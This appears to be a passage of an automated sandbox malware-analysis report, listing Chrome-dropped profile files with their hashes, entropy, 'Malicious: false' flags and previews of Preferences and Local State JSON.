untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cf716ab2-2905-4f20-9dd1-c147d44be878.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f24f8fa0-0e07-41 -b73d-f66f5d31e337.tmp
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File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19620

Entropy (8bit): 5.561281926525435

Encrypted: false

SSDEEP: 384:8RMt0LlnXXv1kXqKf/pUZNCgVLH2HfDPrUAsHGnNUeW42:2Llnv1kXqKf/pUZNCgVLH2HfbrUvGNlM

MD5: 3967EAA48AB3E93D792A77BEA380B9DB

SHA1: 2FF3C0E20F7ECE48D56BADE39B1A46BD5F10CE05

SHA-256: 2BE7DE783BB5779CBFC39144DBF5214B447A1548F77ABBDAD7171B048588C8FF

SHA-512: F5B7E0549E2630AA1F15B0405663FF98DC43102C5FD79F708C7F69DEE38F3CD19F478001FF1B8C89F1DBAD2EB343DB8F87FDA3756482060EA56E87B551E7CDC
F

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296958801960939","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4219

Entropy (8bit): 4.871684703914691

Encrypted: false

SSDEEP: 48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH

MD5: EDC4A4E22003A711AEF67FAED28DB603

SHA1: 977E551B9ED5F60D018C030B0B4AA2E33B954556

SHA-256: DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453

SHA-512: 84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advert
ised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","support
s_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":
"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"1324854350
1454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17530

Entropy (8bit): 5.574111179750085

Encrypted: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f7c5dba8-37d0-4b83-b46e-fb6c92c0a8d5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\fb46522c-0b15-4ebb-b0a1-a3b0c0bfe1eb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\fc 49ae-88de-4712-b988-0b8a828cf3fd.tmp
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SSDEEP: 384:8RMt0LlnXXv1kXqKf/pUZNCgVLH2HfDPrU9NUCwW4Y:2Llnv1kXqKf/pUZNCgVLH2HfbrUjbwWH

MD5: 4FE2CE3CD8C1C981BCFAC958D16DBDB8

SHA1: 43B90F1338A1BA9E3F96F74C8E4FF1BB63BC66A5

SHA-256: 4FF48BF76FAC55762FDC4499ED4BF7DC74B0D447BFAD3C2ACC434E002603C114

SHA-512: 7794EC20E13A5E2B6E9A5B789585A0480C820A881BA2B22B7E2B64175FB8B1BF3DC33AF60BB6DB73717565B099D6B4164062D817AE00CE3E90D15CC03CB2BA
CE

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296958801960939","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919ED0B70E5C3289

SHA1: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59

SHA-512: 86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46

Malicious: false

Preview: 85.0.4183.121

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 196322

Entropy (8bit): 6.045561459254564

Encrypted: false

SSDEEP: 3072:Jss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:JssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: 08A584DA39F08D40EFDA6EBE8C63ADE7

SHA1: F17F6919E36FEE3BC28BB8106D5BABE35AF0C053

SHA-256: 4B861BB608AAEDC8735D7BDEF780EBB5C3EBBB868067A446052FE3DA8C194033

SHA-512: 33FAD06A230EBD791682ACDD79E9EDE53A2C3C595A553BF07BBBBB9837B871D2200B1AD9C903A5AE473A04D5DBF3D4729BE38A9C7597B34D96484630A15DC
F3D

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.743604743823655

Encrypted: false

SSDEEP: 384:R3tSK0vtQXgOVHZWJN6rfvum3FOwdHYNGxIrTwu8x9oEwHrP2mjX9TAK62pOokax:BG+5ZqIsJAenAKUov3m+KYm65z

MD5: 34581C0BC33791ED0F213F2A49BC0AEF

SHA1: 9814829BDC0CDB20867649EDC059F81ADAF702FA

SHA-256: 9CA9BD2895B044A9D2D8AD84BC49282C0A23F9FBF0D205F9A4B3FAA6C3ABBBDA

SHA-512: 7C6B15047D338CE21B4D7DF6D251A24E3ABCF1E9843A18035FA1D35DCA12529A44CC0D2CB8C08981E9B69172B2CDF28DFB603313200F49BFB1C022FA41D880E
B

Malicious: false

Preview: .t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....\8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.743604743823655

Encrypted: false

SSDEEP: 384:R3tSK0vtQXgOVHZWJN6rfvum3FOwdHYNGxIrTwu8x9oEwHrP2mjX9TAK62pOokax:BG+5ZqIsJAenAKUov3m+KYm65z

MD5: 34581C0BC33791ED0F213F2A49BC0AEF

SHA1: 9814829BDC0CDB20867649EDC059F81ADAF702FA

SHA-256: 9CA9BD2895B044A9D2D8AD84BC49282C0A23F9FBF0D205F9A4B3FAA6C3ABBBDA

SHA-512: 7C6B15047D338CE21B4D7DF6D251A24E3ABCF1E9843A18035FA1D35DCA12529A44CC0D2CB8C08981E9B69172B2CDF28DFB603313200F49BFB1C022FA41D880E
B

Malicious: false

Preview: .t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....\8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 204275

Entropy (8bit): 6.073322239020801

Encrypted: false

SSDEEP: 6144:+HssvoWpYtR9rOKeSMyI9VaqfIlUOoSiuR/:+Hsh3XSJShJo8

MD5: C58DA69FC757CF9D9F8DBC7DCAD8F354

SHA1: EB9DE89649C3A106B6A0BC6932563279841C0B2F

SHA-256: BA64B03B615A0CA4751828E21CF9F432D3EAA892EB1DDD9C843A44F1892EAE05

SHA-512: F93E19B27AFF7A84E3AD998FE4FB8D678E0FDB01B646473B17DB1E17E63FDC278D7097FCB8BDD72126A9C182AD8A2AC4E2902274B82353C23F944E817BE1F12
9

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\af9e52f8-afa2-4167-bce6-8585bfe6bf37.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\ba77caf7-6152-4373-8b57-709f68107b4d.tmp
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 195793

Entropy (8bit): 6.04433200383847

Encrypted: false

SSDEEP: 3072:nss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:nssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: 748221067C47534F53A60DC17451FDA0

SHA1: 451ED39A5E49DBE1E7C5C8D75DE2820BFD370758

SHA-256: F99B97DFAB5BA0A1A063AD281463C7E59F71B9EE597FA03B29BF0D8F23B5F351

SHA-512: EE5B564D04867E61FFC14D51DF44ACCC26E08E70F732AD1B6ACA7BF08CFF7518B7E6E21933A00702632B7E9B52C40AFFD675C42B8B25162D4E2DC31DD61C3B
AB

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 195971

Entropy (8bit): 6.044755301225007

Encrypted: false

SSDEEP: 3072:Fss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:FssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: 8D042BFD754AB8C1F173C1F4E1E8C22C

SHA1: 06BF7A970EB8B5E8C77DB1BDD655561A306A4E46

SHA-256: BE284EAD234D49205628F2C6C55F6D84039DAC93640C88110C78B663C8BAB71F

SHA-512: 538AE35F1C0D9982E40D554C7157D78EB0E8A91B7203BD89F4092C3E81BA0406CFA5CF0FF46D4B1CEBF656EB0DD6775B44DB8F27116BD244DBE162D9C862E1
44

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 195887

Entropy (8bit): 6.044592900266809

Encrypted: false

SSDEEP: 3072:Lss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:LssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: E3CD077131EC99953AE0AAE7547F210F

SHA1: 2CAEDC2A375819D1ECAEF0E677CC48726DF3D74E

SHA-256: 4EE5E983F039B1FE1CC36B78FED5DF0D091D03F41E9B7B785A5998AA28F10CBD

SHA-512: 677D6B266A4E4936B6C05BCD957AA5E29737156D8B05F759EC5C2DA6DB7FE82BF7B9D146241DB7AB6683BF0DCF979E5B05CB75D640527F09A9AC75AAD1FA95
C4

C:\Users\user\AppData\Local\Google\Chrome\User Data\baddb423-349a-4660-a29e-87928bda12e0.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\bb6b5a85-3698-46d7-ba71-b82d6c13dc90.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\d62a7374-1175-48c5-8fa0-e815be94517e.tmp
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Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 196322

Entropy (8bit): 6.045561459254564

Encrypted: false

SSDEEP: 3072:Jss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:JssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: 08A584DA39F08D40EFDA6EBE8C63ADE7

SHA1: F17F6919E36FEE3BC28BB8106D5BABE35AF0C053

SHA-256: 4B861BB608AAEDC8735D7BDEF780EBB5C3EBBB868067A446052FE3DA8C194033

SHA-512: 33FAD06A230EBD791682ACDD79E9EDE53A2C3C595A553BF07BBBBB9837B871D2200B1AD9C903A5AE473A04D5DBF3D4729BE38A9C7597B34D96484630A15DC
F3D

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 196061

Entropy (8bit): 6.045011668062167

Encrypted: false

SSDEEP: 3072:8ss+lCcEBk5FWpEt8At2otGY9rOKeSM7+I9RcjsFcbXafIB0u1GOJmA3iuR/:8ssvoWpYtR9rOKeSMyI9VaqfIlUOoSiq

MD5: 38CE83146DA5E5C6A1E2E6A22877B61A

SHA1: DFC76A1851D8C7E618A3660B832F8DC6E00E4111

SHA-256: 11B46FC56A4217C6F5987EB1E7B091AFCF609A2E67E752183E9DFF1103D5C13F

SHA-512: 697C206F31DF6059F839D0682487F30825CEC2593571887379D433B211C45EB7E68CC35735D67B4C8206A3D89A89D561504F453C11D0B28FD662D2EDD2AA9A02

Malicious: false

